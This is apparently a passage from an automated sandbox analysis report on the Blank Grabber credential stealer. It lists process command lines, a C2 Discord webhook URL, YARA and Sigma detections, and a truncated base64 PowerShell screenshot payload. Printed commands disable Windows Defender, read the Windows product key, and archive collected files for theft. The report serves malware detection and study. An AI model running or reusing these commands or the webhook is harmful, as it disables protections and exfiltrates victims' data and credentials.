WMIC.exe (PID: 8644 cmdline: wmic computersystem get totalphysicalmemory MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 4864 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7628 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 8596 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8736 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 8668 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 8920 cmdline: wmic path win32_VideoController get name MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 8904 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7456 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Malware Configuration

Threatname: Blank Grabber

{"C2 url": "https://discord.com/api/webhooks/1220929699618750534/zhSTomvYGhmMHwb8qcNrPuGLmzvJ7OZ0dj098Ewa_79bqm5nvJ2v6LXEGk7f3ADrpknC"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\_MEI76002\rarreg.key	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000002.00000003.1760965599.00000161970CF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000002.00000003.1762531034.00000161970DF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1757718097.000001619762A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000000.00000003.1329466434.00000162E122B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000002.00000003.1759071926.00000161970CF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000002.00000002.1765429469.00000161970E2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000000.00000003.1329466434.00000162E1229000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe PID: 7600	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe PID: 7656	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe PID: 7656	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe PID: 7656	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 8 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe'", CommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, ParentProcessId: 7656, ParentProcessName: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe'", ProcessId: 7708, ProcessName: cmd.exe

Sigma detected: Powershell Defender Disable Scan Feature

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, ParentProcessId: 7656, ParentProcessName: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ProcessId: 7716, ProcessName: cmd.exe

Sigma detected: Rar Usage with Password and Compression Level

Source: Process started

Author: @ROxPinTeddy: Data: Command: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R9FJX.zip" *", CommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R9FJX.zip" *", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, ParentProcessId: 7656, ParentProcessName: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R9FJX.zip" *", ProcessId: 4536, ProcessName: cmd.exe

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Source: Threat created

Author: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\System32\wbem\WMIC.exe, SourceProcessId: 8920, StartAddress: 68232B0, TargetImage: C:\Windows\System32\tree.com, TargetProcessId: 8920

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious Startup Folder Persistence

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, ProcessId: 7656, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQ